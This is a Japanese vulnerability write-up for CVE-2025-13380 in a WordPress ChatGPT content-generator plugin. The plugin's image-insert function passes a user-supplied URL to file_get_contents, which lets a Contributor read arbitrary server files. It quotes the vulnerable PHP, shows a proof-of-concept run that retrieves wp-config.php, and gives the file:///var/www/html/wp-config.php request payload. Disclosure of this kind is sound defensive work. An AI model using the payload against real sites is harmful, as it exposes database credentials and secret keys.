
WordPress向けAIエンジン: ChatGPT, GPT Content Generator <= 1.0.1 - 認証済み(Contributor+) 任意のファイル読み取り
このWordPress用AI Engineプラグインには、画像挿入機能に脆弱性があり、投稿編集権限を持つ認証済みユーザー(Contributor、Author、Editor、Administrator)がサーバーから任意のファイルをダウンロードできるようになります。この脆弱性は、lqdai_update_post AJAXエンドポイントに適切な権限チェックがなく、insert_image()関数がユーザー制御のURLをプロトコル検証なしでfile_get_contents()を使用していることに起因し、file://プロトコルを介した任意のファイルダウンロードを可能にします。
wp-config.phpファイルをダウンロードすることを示すPOC CVE-2025-13380.pyが提供されています。 python3 ./exploit.py http://techcorp.cc contributor password
[+] Target: http://techcorp.cc
[+] Username: contributor
[+] Nonce obtained: 5dc61a0166
[+] Post created with ID: 148
[+] File written to uploads directory
[+] Attempting to retrieve file from: http://techcorp.cc/wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
[+] File retrieved successfully!
[+] wp-config.php contents:
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
...
...
...
lqdai_update_post AJAXアクションは、/wp-content/plugins/liquid-chatgpt/liquid-chatgpt.phpの315行目でupdate_post()関数を呼び出しますが、適切な権限チェックがなく、認証済みユーザーが編集可能な投稿を変更できるようになります。
function update_post() {
if ( empty( $posts = $_POST['posts'] ) ) {
wp_send_json( [
'error' => true,
'message' => __( 'Data is null!', 'lqdai' ),
] );
}
$args = [
'ID' => $posts['post_id'],
'post_title' => $posts['title'],
'post_content' => $posts['content'],
'post_status' => 'draft',
];
$update_post = wp_update_post( $args );
if ( is_wp_error( $update_post ) ) {
wp_send_json( [
'error' => true,
'message' => $update_post->get_error_messages()
] );
} else {
wp_set_post_tags( $posts['post_id'], $posts['tags'], false );
if ( !empty( $posts['image'] ) ) {
$this->insert_image( $posts['post_id'], $posts['image'] ); // <-- 任意ファイルダウンロードの脆弱性
}
}
}
insert_image()関数(419行目)は、ユーザー制御のURLをプロトコル検証なしでfile_get_contents()を使用しており、任意のファイルダウンロードを可能にします。
function insert_image( $post_id, $image_url ) {
// アップロードディレクトリへのパスを取得
$upload_dir = wp_upload_dir();
$image_data = file_get_contents($image_url);
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// 画像をアップロードディレクトリに保存
if ( wp_mkdir_p($upload_dir['path']) ) {
$file = $upload_dir['path'] . '/' . $filename;
} else {
$file = $upload_dir['basedir'] . '/' . $filename;
}
file_put_contents($file, $image_data); // <-- 書き込み
// 画像の添付IDを取得
$wp_filetype = wp_check_filetype($filename, null );
$attachment = array(
'post_mime_type' => $wp_filetype['type'],
'post_title' => sanitize_file_name(str_replace('.jpg','', $filename)),
'post_content' => '',
'post_status' => 'inherit'
);
$attachment_id = wp_insert_attachment( $attachment, $file, $post_id );
require_once(ABSPATH . 'wp-admin/includes/image.php');
$attachment_data = wp_generate_attachment_metadata( $attachment_id, $file );
wp_update_attachment_metadata( $attachment_id, $attachment_data );
// 添付IDを投稿のアイキャッチ画像として設定
set_post_thumbnail($post_id, $attachment_id);
}
脆弱なパス構築により、file://プロトコルを介してローカルファイルを読み取ることができます。
// ユーザーが提供: 'file:///var/www/html/wp-config.php'
$image_url = 'file:///var/www/html/wp-config.php';
// file_get_contents() がファイルを読み取る(PHPではデフォルトで動作)
$image_data = file_get_contents($image_url); // /var/www/html/wp-config.php を読み取る
// ファイル名はパスから構築される
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// parse_url() は '/var/www/html/wp-config.php' を返す
// sanitize_file_name() はスラッシュを削除: 'varwwwhtmlwp-config.php'
// '.jpg' を追加: 'varwwwhtmlwp-config.php.jpg'
// ファイルはアップロードディレクトリに書き込まれる
$file = $upload_dir['path'] . '/' . $filename;
// 結果: /wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
file_put_contents($file, $image_data); // wp-config.php の内容を書き込む
lqdai_update_postアクションを呼び出す/wp-admin/admin-ajax.phpへのリクエストを傍受します。posts[image]パラメータにfile://プロトコルのURLを含めます。posts[image]=file:///var/www/html/wp-config.phpとしてリクエストを送信し、WordPress設定ファイルを読み取ります。/wp-content/uploads/YYYY/MM/varwwwhtmlwp-config.php.jpg。